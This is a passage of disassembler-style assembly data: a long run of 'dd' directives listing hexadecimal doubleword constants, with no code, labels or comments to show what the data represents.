		dd 7D322FDAh, 3C2540E8h, 4218D3E4h, 4720302Bh, 1892A7h
		dd 36BF09AFh, 0C1EDEE91h, 0D141A530h, 46C4920h,	3FD63BA3h
		dd 0E784918Fh, 64200DADh, 0D81E24DCh, 40CCC484h, 497D790h
		dd 0ADC903A2h, 0A64667D8h, 7C065C8Bh, 7DA002B3h, 88045490h
		dd 0ED2F0C3Ch, 0BE70AB66h, 17FC30E3h, 0D11D4A43h, 0DCA5C410h
		dd 7DB3379h, 12180D21h,	0C43224C7h, 8790C84Ah, 11E33301h
		dd 0F5E8108Dh, 8822A0D1h, 86696A03h, 1FC5D27Ch,	0F5A10544h
		dd 3EB402ACh, 1C407587h, 5903D547h, 7FD2510Fh, 0A109901Dh
		dd 0E0F2FDCAh, 0C443F7FDh, 4083C129h, 802F503h,	81642A1h
		dd 109E47CDh, 0F43D845Dh, 46981244h, 60517BF9h,	0D1DA79E9h
		dd 85002A55h, 31349046h, 0FE25C8h, 0F1565227h, 0D8608E9Ah
		dd 0EDECE303h, 910CA1E7h, 7F7095BEh, 0CEF600D4h, 0B2F30E7Ah
		dd 0CC00E720h, 0ADAA8C7Dh, 7C8D107h, 0A077E893h, 0D603B037h
		dd 8400DAE6h, 2FEB38E5h, 1C829C73h, 80286420h, 5A9ED821h
		dd 61004704h, 0E01BE5F2h, 0A23658h, 8068DC2Eh, 98836221h
		dd 750F16B8h, 0A4DDFAD8h, 3480889Ch, 987A46AEh,	4F8F0693h
		dd 1944EE54h, 85BF5900h, 287A5E14h, 8890CBh, 0CFCDFFB4h
		dd 0F82F6F97h, 9B063300h, 0D6E71707h, 0B8E0A045h, 8BF9008Fh
		dd 0B5E80864h, 8C018AD7h, 99CB4EADh, 84200EAFh,	81A900CEh
		dd 5DE935FBh, 8C00B22Fh, 2D3FA23Dh, 17BBE51h, 5E4953D7h
		dd 0C86E4DC3h, 0D6007167h, 51C69F82h, 0DEC142h,	93840D6Ah
		dd 0BB06D9A3h, 49891B38h, 0A7220F20h, 6A00B70Bh, 35855A05h
		dd 55970003h, 0D85BD9B1h, 78C0DE82h, 7BF0CB91h,	6DFC0078h
		dd 4FD0233Eh, 7A00D8E0h, 156F10B0h, 4925DEB9h, 2C3E5056h
		dd 0DCACA780h, 2A760D5Bh, 0FF59F905h, 9407AD40h, 1490B2BBh
		dd 7E9D4Eh, 0D506F35h, 0D265E30Bh, 0D8449800h, 768C5D40h
		dd 0E46FC90h, 79279102h, 0C3CC003Eh, 9FD919F7h,	0C8000EB0h
		dd 0AC043EC9h, 162CE253h, 764355Bh, 0C0BDAFF6h,	0F3BCC18Bh
		dd 0D3006B76h, 96EB87D8h, 0F769E3h, 9E60B953h, 48440E57h
		dd 2302BB72h, 0D6AC2007h, 0CD234041h, 5F7632h, 36ABBE6Fh
		dd 5198CE30h, 9E499706h, 58689FEBh, 8A0C90C8h, 2A189624h
		dd 3D8871Fh, 0AAB79DC0h, 94DDFEh, 0C2DA8D76h, 3F4B669Ch
		dd 449A4D00h, 5F5A23Ah,	0C4310072h, 912A58C0h, 2C01485Ah
		dd 896C413Dh, 45206F76h, 9E720039h, 0C8AF8EE9h,	7500B8F2h
		dd 0FA3770BDh, 521BE7h,	0ECC2A06Bh, 0E1DE8673h,	91031779h
		dd 0F11ABBEBh, 0F809496h, 47B4E0h, 1F806DECh, 0E4AE337Bh
		dd 3A621E00h, 0DA73A83Ch, 6AE200F7h, 45CE5A1Bh,	2D1DA57Dh
		dd 834F7A37h, 0C03A6EBAh, 53382A22h, 0A21600B3h, 48722789h
		dd 43F259Eh, 0E3DD0799h, 6410ACF7h, 581759h, 3BBC1ADEh
		dd 0C8391EC6h, 89F0EC00h, 18FCE8A8h, 7D290781h,	0E04E83AAh
		dd 112360A1h, 1D0E2C0Eh, 90D18085h, 12B176E6h, 0B1CAAF0Dh
		dd 5D7760D4h, 0DD01F924h, 0E5A4003Ch, 0B32F9D73h, 6E103F39h
		dd 4BB41780h, 0A3539E6Fh, 0C2EEDD03h, 0E082DF57h, 41F645h
		dd 0E8F8E02h, 0FF096C11h, 0B26B9826h, 5D25305h,	0ED74D400h
		dd 19A340h, 2C9483DEh, 6DDB2B6Ch, 75A49900h, 38820E58h
		dd 1D4E4B6h, 60A034ECh,	200F6AF7h, 22005330h, 90C51329h
		dd 0ECEDCDAAh, 7C7612A5h, 0E0A4003Ah, 0CF9C248Bh, 0AD00D377h
		dd 0C9EFE627h, 290E4Fh,	4911CCD4h, 0D1F0A110h, 0DF6CA800h
		dd 0C035F6C2h, 0DEA500C8h, 526D60E0h, 161D6729h, 807B0B33h
		dd 4A026FEh, 3DA89E39h,	6982AEABh, 4D72F2A1h, 0D17CD880h
		dd 0A0070475h, 5BE14A2h, 77BCC2B0h, 0DFBF00B7h,	7F628D6h
		dd 1F0110E4h, 8F34634Ch, 8EC60AFAh, 464BC0FAh, 5C4359h
		dd 0BCCCB222h, 0F117ADFFh, 92AC8A1Ch, 0DE2C4942h, 35E0D553h
		dd 3500B9C0h, 0B3EB75B5h, 388CC7Eh, 892B4E8Eh, 0D0B3446Dh
		dd 0DF4B85E8h, 62C66100h, 90661468h, 0F7CE006Ah, 74673FB5h
		dd 9A05052Bh, 9D0FC979h, 9AED301h, 3FCC93D6h, 0E8840066h
		dd 948BEEB6h, 0DA0048D4h, 282B0F39h, 97F38Ch, 0F8A178D3h
		dd 76B30E3h, 0A0139h, 38B31762h, 245BCACEh, 785A4Dh, 45DDAE03h
		dd 0D1772B1Ch, 0D4C6160Bh, 0F4B70044h, 0AD84FDh, 0BCEF3D34h
		dd 22A88C41h, 0DF749E03h, 90F6945Ch, 0B6DBBAh, 60230672h
		dd 87B4ABB3h, 7AE8C500h, 0F0A28056h, 22C4009Ch,	0CBAC1A53h
		dd 0F200324Ah, 0C063FA7Ch, 3891BDF5h, 720270F9h, 4084CFEFh
		dd 0F40D9040h, 9B21B324h, 37081500h, 0C45ADFh, 57AA7014h
		dd 6867FF93h, 0F402BE07h, 7740A97Ah, 0F4C16EC0h, 6017FACh
		dd 8608E8A4h
		dd 0D22472D3h, 240490CEh, 44C89B7Eh, 0BEBD00D7h, 5BB15E0Eh
		dd 3C00CFF7h, 8A1E1569h, 237E53h, 1C6BFD52h, 9376357Ah
		dd 0AF1F8898h, 9480B920h, 683A9043h, 0F2080088h, 4C0AD67Dh
		dd 71004891h, 72B5CC1Fh, 3F60B0h, 39FDE1B8h, 0FFB7501Ch
		dd 0E084C0F1h, 769EF813h, 0C7947618h, 49C50CEDh, 8B105363h
		dd 9CA093Bh, 80617F9Dh,	0D52DD838h, 0EDA04C3h, 80254495h
		dd 1159DC4Ch, 943F20h, 0E39D1D6Ah, 0F74D8435h, 21E226FEh
		dd 547AEE00h, 728DFC52h, 40501674h, 5F2C1E24h, 0B895800Bh
		dd 7C6848CCh, 3B22A903h, 0A1EB13C1h, 4C200B11h,	5D7B008Dh
		dd 54F28189h, 61249539h, 5003AD1Ch, 0AF820319h,	4C567380h
		dd 10A000F4h, 154B5E94h, 0FE00579Ah, 1969379h, 0B02524DEh
		dd 97AA0148h, 0A6A12C4Eh, 0FEFF603Eh, 2940DA13h, 0C1D84800h
		dd 4641DFh, 0F2091AB4h,	1962FD8Eh, 8C9E5C04h, 88D01185h
		dd 4A020E6h, 6346943Ah,	9686809Dh, 0FD1D766Ch, 0E17C434h
		dd 643A7900h, 13634899h, 369D3h, 7F28AF18h, 700076FBh
		dd 2022DD91h, 0C6DD4F4h, 0D52F150Ch, 58005E38h,	0D6B35F99h
		dd 92B856h, 0E881DE7Eh,	67FA1EA3h, 0F9D28418h, 4B9350h
		dd 34E7CE12h, 7B255541h, 2B0256B8h, 3037A98Dh, 80AC4365h
		dd 0E781B84Ch, 4F4A448h, 33820207h, 0E8E080CDh,	0BE77B92Ch
		dd 0A8080A1Ch, 724E3480h, 98195EFBh, 7AA42AC4h,	955200C8h
		dd 4CA9EBE8h, 90376B38h, 11B0E041h, 0C004AC32h,	2E22DAC8h
		dd 8D07C3C9h, 0A36A4E51h, 6F0005Bh, 358E16h, 0C80E7860h
		dd 0DB52B771h, 2A12CD00h, 53F88590h, 0E7460386h, 784CC9ECh
		dd 5D25C6A0h, 2E365C00h, 84156321h, 5850968h, 9A0E47BAh
		dd 7E174EDEh, 0A3A6ACE0h, 23007844h, 69BB526h, 0ECB89CDh
		dd 31D228E7h, 76831AC0h, 0D9269118h, 3600D0ADh,	9DB18F49h
		dd 0C60302F3h, 7020EBAAh, 0D2C0F340h, 0D556DA18h, 3A13FC49h
		dd 4A0311CFh, 0F8D8ECE2h, 25FE1801h, 74B1E0C6h,	60A627D5h
		dd 7AEA00C0h, 95BA4304h, 6FD5AB00h, 94E6A84Bh, 0CB0A0015h
		dd 73574DEBh, 8F009119h, 79D992DEh, 98781FB7h, 0A5D80238h
		dd 8772DDE7h, 67F5D360h, 97617D00h, 3A2ED02Ah, 0EB7A0043h
		dd 870AD7DEh, 4B73DD77h, 78948400h, 0B3EFF176h,	0D67F03C8h
		dd 0EAB5C596h, 40880E4h, 1000ED2Dh, 0F050BC44h,	0A93EB3h
		dd 7AB261Eh, 0D3A5CFCCh, 9B70DC26h, 4E4D0300h, 0D7DD13h
		dd 0BD6ECBB2h, 0AF43ED62h, 387D900h, 0A8BC9A75h, 6FA40E54h
		dd 0C7E04B72h, 26371B2Eh, 5D2B820Eh, 4D512070h,	0EBC0FFh
		dd 3274AE9Fh, 24D14E56h, 0F8F54F1Dh, 88D8428Ah,	46073900h
		dd 369AFBh, 0E7687CA1h,	7D6148D5h, 66B3860Ch, 0E8118Eh
		dd 381CB08Dh, 2E01E212h, 2B0075E8h, 0A59E3788h,	6021F17Dh
		dd 0F4D595Bh, 384C47C6h, 0EC40017h, 1A48155Ah, 70DC985Bh
		dd 9FCA00C9h, 53969771h, 0BE007AABh, 0C88A8C1Fh, 2473321h
		dd 0FE72E73Ah, 64E0CE52h, 0B800E9A4h, 226CFCB9h, 7FACA9Fh
		dd 0AF15AD92h, 3C76D0A3h, 90043039h, 4B8E9197h,	0B013BA80h
		dd 9CAE4878h, 0E11012h,	4FC119F4h, 0C770741Bh, 0C6D77A00h
		dd 775CF352h, 0B8F0032h, 490544DDh, 0B1017BA9h,	8460C1D4h
		dd 0B6C0CF0Fh, 0DF7F0066h, 89D28AEh, 200037DBh,	0E50CBC4h
		dd 15DE2FEh, 0C6533A2Ah, 0F87FE3F3h, 75059252h,	27951B85h
		dd 0C8D0A80h, 367B4Eh, 414A31BDh, 66300234h, 0E4EB991Eh
		dd 0E74EAAC0h, 0FCC8AB1Ah, 73D748B1h, 9DFFAD04h, 0F1CC00Ah
		dd 0E7009B20h, 21B0555Ah, 6F32AAh, 5CFD8BDFh, 1F9ECF4Eh
		dd 0F702F113h, 0B81DCB13h, 37C65A80h, 26908878h, 802056CDh
		dd 204AFE4Ch, 9E00FB5Dh, 3DA27660h, 7A50D06Eh, 3BB6256Fh
		dd 21DC7080h, 480761EBh, 6FD57C9h, 39BADFD0h, 0A970018Bh
		dd 59DEF2C8h, 0FBF4C86Ah, 3C8CC005h, 8874AF5h, 79073FC1h
		dd 269E7460h, 16DCA3h, 0CE66323Bh, 0C4E68D5Ah, 4AC99B00h
		dd 3FB65F8Fh, 62AF4B4Dh, 502EBD4Ch, 4DCD3283h, 6D2DA000h
		dd 9F9184A0h, 5BB90078h, 0BF43C1BDh, 0FC00245Ah, 4F11EAC2h
		dd 0FFFB10Ch, 0CEB03AF1h, 4DAEBC20h, 82005D32h,	6152225Ch
		dd 4841FEF9h, 4F0B748Ah, 0A7008DE6h, 0E2B9B2C1h, 8E107201h
		dd 4EBBD589h, 92933EF0h, 67B1060Ch, 4890026Bh, 0D76FE100h
		dd 0F1AA0E47h, 28B60C81h, 1211246Eh, 5316C317h,	0D4779841h
		dd 0B0EFEC2Eh, 166FDF2h, 0BD83EFFBh, 80E7DDDEh,	0ED9EE519h
		dd 77602D3Dh, 28590353h, 0D2D0B247h, 12D7F390h,	0E100DDEAh
		dd 2474F50Eh, 2AA6C8h, 94396E62h, 0D49C1455h, 21C57700h
		dd 27F1962Bh, 348172Ch,	44E0009Bh, 0D36E39ACh, 4FABC100h
		dd 869E5228h, 0D887005Bh, 0FB429BA2h, 343B03B1h, 643F1496h
		dd 9C7F07F0h, 7B540BBAh, 248210E0h, 0E84C47h, 5EE877F9h
		dd 0C0B0DC3h, 80B9DF0Bh, 6B9A7CA5h, 0B0ED5B93h,	9F00811Dh
		dd 48639B99h, 738A5BCBh, 3C35017Ch, 94D2FEBDh, 99B9EC89h
		dd 254F000h, 3985F3F9h,	6BE400E5h, 87919BEh, 0C0001571h
		dd 0E04CDC73h, 4EECF4h,	9D755937h, 6A8EA407h, 9B732000h
		dd 7FC517EAh, 0FDE818h,	81F1ADFh, 8E434FD2h, 0A78A0900h
		dd 0D099B1DCh, 223C1C2Bh, 0D8604064h, 131BC1CBh, 7A75CE07h
		dd 0A1905E0Dh, 0E9A069h, 4517D75Fh, 284005FFh, 0D005977h
		dd 5AB5D213h, 3CEF7116h, 0EE610F60h, 60DE587Dh,	0ED00572Ah
		dd 647B5A17h, 0C0976092h, 11DA9148h, 1578EAC5h,	0C22AD060h
		dd 1D51E0F4h, 0CE326D61h, 0DCC0CBCEh, 278F8022h, 2D4FEA00h
		dd 0F41206E2h, 0F6AA0F90h, 0F3A029EDh, 0D2F56C8Ch, 8109AD39h
		dd 82797D10h, 0FCD8F422h, 83ED0FB3h, 95CE5D8Ch,	8811A98Ch
		dd 7568EB00h, 7C1846BCh, 0A22D3F78h, 0C4A52481h, 80F301AFh
		dd 8E0FEF28h, 1685C72h,	0E9425E66h, 0ECB187E5h,	1600B24Ch
		dd 5D4EEDDAh, 728C8A1Dh, 0D5D30078h, 77BAF469h,	9305788h
		dd 10BF11DDh, 79E274DAh, 1BDC0A66h, 3E8F801h, 5C5AE86h
		dd 6E02D6E8h, 3D11DCFDh, 0CEDA7700h, 54FB2E2Ah,	647881h
		dd 0A2B10890h, 1C85C0Dh, 0B7008A98h, 0E602D59Ah, 0C7881Fh
		dd 81A51283h, 0FFC58AEBh, 6C207B03h, 0F850E047h, 93CC86h
		dd 70C8BAADh, 0E517D605h, 3259F200h, 97CBC0FCh,	7AB5EEDDh
		dd 1F21C7C1h, 53CF505Fh, 0A200F454h, 83C4197Dh,	39737C51h
		dd 6E0FA85Ah, 9F8B1D98h, 0D40580FFh, 9ED4148h, 0B4BF4AA0h
		dd 8CC4F100h, 0A5002713h, 3EFF4E1Dh, 0A35218D6h, 7E1B98C3h
		dd 31CD3D8Fh, 3A2F9D00h, 92414990h, 0C6F73Dh, 5E3322CEh
		dd 461239h, 85513503h, 61E8B9FEh, 5C9E4000h, 0A02BDB0h
		dd 964F07E3h, 203541E5h, 11A481DBh, 0FAB47B00h,	570EA56Ah
		dd 8EF41F5Dh, 7C9F4088h, 65D80B3Dh, 6D541F2Ch, 7F845300h
		dd 66504Eh, 34D4FEAAh, 59B9805Bh, 141551Eh, 0F11300F9h
		dd 3DE2285Eh, 42600423h, 8014CF6Ch, 40ACD42Ah, 8C29650Ah
		dd 600EC0F2h, 0C7A1E005h, 413E58h, 43B18246h, 4588B7B4h
		dd 1DF4941Eh, 93A200FCh, 957456FDh, 59D40048h, 90D05EC8h
		dd 38008791h, 0F9415777h, 6984383h, 718BB4C6h, 10DF548Fh
		dd 8DAAF700h, 0C7778FFh, 0B4407FFCh, 15001938h,	3457AF4Ah
		dd 0C042EC70h, 7DF3DF30h, 0F500FB1Eh, 0AF460DFAh, 28A9388Ch
		dd 0A64D75h, 7C8685C6h,	0EDCE43DEh, 0D5F1B400h,	0A98FB129h
		dd 7DA0047h, 89236F8Dh
		dd 0EC24D21Ch, 0FD00CAC0h, 7B99B53Eh, 7E0798A3h, 3680394h
		dd 2B871D70h, 0AA5647F8h, 9B0D4D00h, 0ECB5B397h, 52FAAFh
		dd 0DCBF9810h, 407470E6h, 627D8800h, 0E5EAFB7Ah, 0AA9A00C0h
		dd 4D45333Ch, 6B1E40B9h, 47C0685Dh, 9B30F64Ah, 12FF095h
		dd 71836A92h, 0DC17D5C6h, 0DF032BE7h, 10BB0A60h, 90E80199h
		dd 6F882182h, 0A2B5C445h, 0E7CB0F00h, 773A482Ah, 0BC795Bh
		dd 0F2F12547h, 0B7A21517h, 4650EC03h, 98CB2613h, 2475993Dh
		dd 12995370h, 4D4E007Ch, 0BF5888Ah, 0ECEAAD02h,	40AEC0DAh
		dd 0EB15443h, 4E261FEEh, 0A5C4AFA0h, 0F0003C43h, 5F0E76FBh
		dd 76A211Bh, 3D5340E4h,	694A4187h, 5C95D42Bh, 2900647Fh
		dd 7D3E4E99h, 4CB5E06Eh, 0C600CD60h, 0ACA7D936h, 9600DE02h
		dd 0C3CE5377h, 720F928Ch, 7A720067h, 57EAE43Eh,	4400D28Fh
		dd 6A4C586Bh, 3D868D60h, 6500D0FDh, 85E1A3F1h, 3200B642h
		dd 43BBC1C0h, 0D18AF8h,	0A0CCFB23h, 9025FF51h, 0B030BA0Ch
		dd 204EA4h, 1B656254h, 7211E50Bh, 18A61900h, 22557704h
		dd 0B29A00BBh, 53ABADDCh, 2CE21D44h, 0E1B7EF0Ah, 8B1CC8DFh
		dd 5793040h, 1A5081h, 0A26B29BFh, 0EA17B6F7h, 1BCF2C00h
		dd 6EB2414Fh, 3C7D3Dh, 0E157C3CDh, 0DC8C0BA0h, 0AE5F8A00h
		dd 9958410Dh, 530A0392h, 45F01821h, 2C386000h, 867DB5F9h
		dd 0EBE10067h, 0CE339BB6h, 20C38757h, 93400AA9h, 4CA7C039h
		dd 24109852h, 1EB46B23h, 3E371E38h, 8A890070h, 766DEB7h
		dd 0B6006726h, 0AE3E2F5Fh, 141540D8h, 3CCB0B69h, 519DD607h
		dd 621480A7h, 6D0F4EF7h, 9D3039B4h, 0A0FBAF0Fh,	5103F844h
		dd 0B6471452h, 548D2065h, 0FA908588h, 0C02C010h, 0A5B51A2Ah
		dd 0DB0034A0h, 4562138Fh, 7D8200F4h, 0C0883C57h, 0C500EF2Ah
		dd 0CB436491h, 717325F3h, 0C8AD4CFDh, 68FEDB00h, 0A08A1BD1h
		dd 0B300547Fh, 0EF5FD8BAh, 645782h, 0E170350Ah,	56D79DA4h
		dd 0BF870D05h, 80AB485Ah, 13B3E60Ah, 4B114600h,	67DB27C5h
		dd 7254269Ch, 0AC2258h,	0A4C66313h, 7D22B56Bh, 0E08AE100h
		dd 0F6D94906h, 0C58B0A80h, 81C481D6h, 0B5C792C2h, 0B0408654h
		dd 30E99501h, 6538FCEBh, 6E00B9AAh, 0CD404FFEh,	0A01ECAF1h
		dd 4BD920h, 421774AEh, 467DB0F9h, 7361C00h, 0C928B175h
		dd 0BCAF2E6Ah, 0E3DD07BFh, 4E616CE1h, 26B0AE07h, 0D5432736h
		dd 95190599h, 0AD16B69h, 80C01CFCh, 0B1573494h,	4500223Dh
		dd 8A7E48E7h, 1F7EEBDh,	1F13ABC5h, 60C3B86Fh, 0EF4CAD0h
		dd 255EA1C0h, 0E04BC7EEh, 9BCB0039h, 0AFC80B9Eh, 0E0C46428h
		dd 8C942E12h, 4DC68C00h, 0EF4034h, 13FD420Bh, 0E40AC8C2h
		dd 0FC4E691Ah, 0C1041D10h, 802E5C7Dh, 3F920A10h, 0DA70E5h
		dd 6B14DBC4h, 0B43DB8CAh, 0D9B1B600h, 95559142h, 1C6074E4h
		dd 0CFFA38h, 823EB4F5h,	79001DC5h, 3AEDD432h, 544D22h
		dd 961E278Dh, 80205FCAh, 0E319240Bh, 0E012006Ch, 0A79FC8h
		dd 8AD4DE91h, 0CCCF7AA4h, 0E929C400h, 7FB2F550h, 0C6E442h
		dd 0AA8A194Bh, 85D057E7h, 0C00EE100h, 5905BC52h, 0CF1007DBh
		dd 0C196C879h, 0D01257DCh, 20007546h, 0AB5C7CC6h, 270AA5h
		dd 0F6508236h, 0C254F911h, 520040EEh, 43AB6D0Eh, 87B6E0h
		dd 0E7EEDB81h, 7C1CEFB3h, 0F9CE300h, 0D326FAC7h, 4A5400DEh
		dd 5F36CB88h, 0EE002A39h, 0A5573AB4h, 982068h, 7E9158A4h
		dd 16BF30D7h, 0D56A7200h, 1B151834h, 24C10FB2h,	85007B89h
		dd 93171244h, 0A1E7491Fh, 9BD7D401h, 20807D0Bh,	1D0F3351h
		dd 0AE00C5C0h, 159244E4h, 0A40A12Ah, 0BD8C0C63h, 0A09C00E4h
		dd 6FE49125h, 0EB880A09h, 7999801Dh, 769B95Eh, 0B4707E10h
		dd 3D6F2098h, 1D062308h, 788AE3B2h, 0E7DE0C11h,	5AD8899Dh
		dd 0C70232F2h, 0E8218B5Ch, 0A0516297h, 0BF769518h, 15AB0108h
		dd 4209B267h, 6583D0E0h, 6D267300h, 4E17DCF7h, 0BC1B0066h
		dd 0F18BAF35h, 3F00F361h, 0A6D9CCEEh, 18E348h, 62CFDE21h
		dd 0D278F9C0h, 28EC5C00h, 0FFABF0EBh, 0F45B3C74h, 99736480h
		dd 25FD700Bh, 55BE3600h, 5E6A8E62h, 0D893005Ah,	0ADDE666Ch
		dd 0EA1833D5h, 98C082FBh, 9D7894h, 48F6FC03h, 8E6910A8h
		dd 0C85B6707h, 893B85h,	94FA227Ch, 0B9B0C0B3h, 56034924h
		dd 0DD712609h, 1C7B0002h, 0CD9FBEh, 0EE0DAAB7h,	4F419803h
		dd 593A4671h, 390B0640h, 2150147Dh, 551FF8F7h, 0D826765Bh
		dd 1D0CE6h, 24DE4011h, 0D4614D47h, 0A814E31Fh, 12394B07h
		dd 959E19E0h, 2E770799h, 0E0FDBC49h, 487B7392h,	0A1C6C18h
		dd 122741h, 7E44D3D0h, 0AA039C75h, 4CE4CA00h, 98B65B47h
		dd 0F5DB071Fh, 435192E1h, 69B083ECh, 0FF03E001h, 0C495B07Dh
		dd 3FC2AF08h, 4AD7402Ah, 4EA20020h, 51141D34h, 0F2008D3Bh
		dd 699CAEFFh, 82B01Ch, 6C2BF99Fh, 0E704FA03h, 0C3D42F04h
		dd 10905572h, 8C77D0h, 7AA597CDh, 1F38519Bh, 8FF45300h
		dd 465B10E8h, 0B4231728h, 0A31E0026h, 0E935C952h, 4A533Eh
		dd 5AA1AFB9h, 597FDEh, 108B2731h, 261B9BC6h, 53F26A1Ch
		dd 9E6096CFh, 0FBF1EC80h, 585DEE3Dh, 0AD173551h, 0CEF70F06h
		dd 0C15B5260h, 2400FD20h, 0BBC8EE4Dh, 33B61Bh, 0D931C0BDh
		dd 0B8B90BF7h, 0A700C672h, 0DE2404C2h, 0BA3540h, 9528B36Eh
		dd 72B9A452h, 4D86F400h, 7B9EC21Dh, 34D00031h, 76C1EA35h
		dd 68027E37h, 0E3CB925Bh, 82D6C0AEh, 16DA0F79h,	75003BB1h
		dd 4C11198Eh, 3A3DFC00h, 0B2562A1Bh, 0B9858h, 3B6F34C2h
		dd 0B635C7EFh, 1E4FF800h, 82DE9CF0h, 53253044h,	59367338h
		dd 0BAE8AF00h, 74BB2EFDh, 325A1CF6h, 81F78095h,	434A914Ch
		dd 0DA048D1Ch, 7B55A700h, 77FE52Ah, 4250982Bh, 6122B18Bh
		dd 0DD2034A3h, 4DC00C02h, 40608965h, 0C81F3Ch, 1E665347h
		dd 73A4DE3Fh, 4F0E7A00h, 2CB91D38h, 2C98480Ah, 5DC66C00h
		dd 74ADE4BAh, 2544509h,	0D3DC005Eh, 3C98A063h, 68C98C1Eh
		dd 613DCC02h, 40C899CDh, 207487ACh, 0A6FB2A03h,	0C0C0C217h
		dd 729461C7h, 64D9019Eh, 0D2CD4BECh, 0DAE3FC4Ah, 0AB291B07h
		dd 51275DB2h, 0F77420E0h, 0F16E02F6h, 7DA80534h, 0EB1A3E3h
		dd 4922D49Fh, 0BC144Ch,	7EECE54h, 0ADF1C2h, 0E7125CF3h
		dd 0D9CD83FEh, 0C7CA900h, 7134C0FBh, 0F79B006Ah, 76C73BEh
		dd 500CF89h, 0C2A21EF0h, 816120h, 0BA7DC6AFh, 0B7F57495h
		dd 0B03D0600h, 0E31A6EC4h, 87ED01A5h, 5580C596h, 0DD22C0F6h
		dd 0FFA3E700h, 0C67E2309h, 0B4D83F6Eh, 2B80D73Dh, 0D150ECBBh
		dd 94008DCCh, 0BD212A63h, 18168DBh, 30D44C79h, 0EDE05EC5h
		dd 0F2AAFD07h, 0EB026440h, 191D5001h, 0B2B9E47Dh, 3E5178F0h
		dd 6B879C32h, 0C7031FA9h, 0E88089EFh, 0FA23745h, 2500D07Ah
		dd 0C8D8EE33h, 0F83B7FA6h, 291500C5h, 7B5D8E05h, 20007907h
		dd 95B9F44Dh, 393A01CBh, 0A8FB49BBh, 3F1BAC8h, 1071FE2Ah
		dd 83D0233Bh, 0B90FF8B3h, 6003E021h, 0E2E79AAh,	0D6F6B2h
		dd 61621E26h, 0F991BEDCh, 808FA43Ch, 7135E788h,	0D4FBAAh
		dd 95794876h, 83EFE003h, 9D470707h, 2FF01D99h, 18FAC5DEh
		dd 3078FE30h, 0C70756D8h, 0E9B03AB5h, 4F7CADC3h, 0A0AAB018h
		dd 1600CBE6h, 1C55D789h, 955080h, 0F27CB7F6h, 8E496B21h
		dd 0A03D0E4h, 0DB084D2h, 9227A0F4h, 549349B7h, 55CDF601h
		dd 303DA7BAh, 8F1C45DCh, 0DA400176h, 7DCA63EBh,	821C1243h
		dd 1031383h, 0ACA3D650h
		dd 6A5BF878h, 8723363Fh, 6530C01Ah, 7F062970h, 73E00F47h
		dd 10C0EAD9h, 0FC4FF2E5h, 79C0ABB0h, 0DDB02665h, 0A1561DEAh
		dd 7C8405DBh, 8910006Eh, 0F9AE03B5h, 98397303h,	0A0D67211h
		dd 0A0BDD5DEh, 369428h,	5E288F4Dh, 69B87D2Ah, 0A400DB70h
		dd 0E5667256h, 7497598h, 0E28BC75Fh, 5E30731Bh,	7C63D488h
		dd 0CC31F60Eh, 93C2C058h, 0D871C5h, 6B13FD16h, 994A146h
		dd 29017216h, 96278000h, 7D52E1h, 10D55E18h, 8F69A305h
		dd 0E63C8900h, 369094A5h, 77B40796h, 0F1B5472Fh, 4020951Fh
		dd 0A142ED6Ch, 673C66B8h, 4860800Fh, 0F478E673h, 0ACE9012Ch
		dd 534CEF5Dh, 153B606Eh, 1735700Fh, 128D606Dh, 3DB3E3Fh
		dd 0DEB3B60Ah, 0E2805926h, 0C298FBFCh, 8053FD38h, 6A4CF810h
		dd 3235DCBh, 0AA161A73h, 0DC0FA0Fh, 58001D61h, 0A5E2F8D4h
		dd 8DDA42h, 128B2935h, 0CDA706BFh, 0B12E5A07h, 22D7F2B4h
		dd 0D6889EB0h, 0ED0700F0h, 3DE63BEFh, 8C0044D9h, 5E963387h
		dd 3B7A6ABh, 0E55901BEh, 0F170FFF6h, 0DAA71201h, 157C4FB1h
		dd 283AD028h, 0B5528D94h, 8A5F6305h, 9630C1BCh,	8439800Ah
		dd 0DDDCED5h, 0E6470153h, 96CB5CEEh, 13FC43F7h,	288948Bh
		dd 5300F624h, 54AB0F90h, 683DBDh, 0E0FCCA72h, 63B99EFDh
		dd 2157FB14h, 6D990384h, 0AB2CBAF1h, 0EFFD9818h, 0C74B0050h
		dd 28942F98h, 0BB0E353Dh, 40F2661Fh, 0BDB2E091h, 0C88800D8h
		dd 86B664A2h, 600041F5h, 0A35C123Ah, 0CF2CA1h, 2D65F80Bh
		dd 8C2A3399h, 4148A500h, 67D26A9Eh, 0DD2B182Ch,	1C3F58ACh
		dd 604C9F00h, 0ED41F8E0h, 0B37829h, 346426DDh, 3F0663B0h
		dd 75CFAA01h, 88A98690h, 58C5044Fh, 43207AD0h, 0DB85BF04h
		dd 69D020ACh, 51E8F3Ch,	5A9ED3BFh, 0DF35102h, 5493007Bh
		dd 0AFF4497Dh, 6EC2E000h, 9ABEFC8Ch, 865E0003h,	0D20DE924h
		dd 88008AA7h, 6349C169h, 0F544304h, 0DC9FCDD0h,	2088680h
		dd 0D9003FC3h, 0ECD48F7Fh, 9073EB2Dh, 425A3A88h, 6749CD80h
		dd 3A907F52h, 1C8B9805h, 202CA0A2h, 72374655h, 9F501900h
		dd 0AC10770Fh, 306E7F93h, 1BE8C145h, 24E0E4B0h,	0AF849D0Ch
		dd 3FF31972h, 0FC7BF4h,	0A30CB78Fh, 4677383h, 0AE066A02h
		dd 8087F3B6h, 0D3929884h, 6964038Dh, 69450C2h, 0FFCDF5C0h
		dd 41ADFC0Ah, 0A038808h, 758D8CFh, 0D7D03060h, 73DD402Dh
		dd 0F402080Fh, 0ED51A4F3h, 0A8C8A3A0h, 0A9E000E4h, 849B87E5h
		dd 2200ABCFh, 0FE56F88Bh, 674831BDh, 0C7B3B144h, 0C60E80E3h
		dd 0CB6C376Ah, 0A8830679h, 0EC85DBE8h, 0D360CABBh, 0CB230034h
		dd 0A413685Ah, 9E00A8F8h, 810293DCh, 88409FDh, 5DD1C4E0h
		dd 8E1F4186h, 3B680099h, 630574AEh, 115CF309h, 0B6441E6Ah
		dd 88BAB747h, 9ACE4D81h, 36697C0h, 45CA4668h, 3B54838h
		dd 40CEB75Ch, 0D12A9C8h, 0E88BB80Ah, 3D40D0A0h,	0F23D0CDh
		dd 1E91D9A2h, 402383C9h, 8901F1A8h, 0D50C28DDh,	0A7D09B0Fh
		dd 0AA5900DBh, 51ECDA55h, 4100F0E5h, 80E8049Fh,	0C0D6A869h
		dd 83461239h, 0FF0081DDh, 8CF89290h, 1249BFECh,	96173E5h
		dd 5890EE78h, 39C3DEA8h, 0D8955BCEh, 0FE04240h,	0AEFD21E5h
		dd 1EB39DA0h, 3B00B9FAh, 0E8586F59h, 2402077Ah,	56095FBh
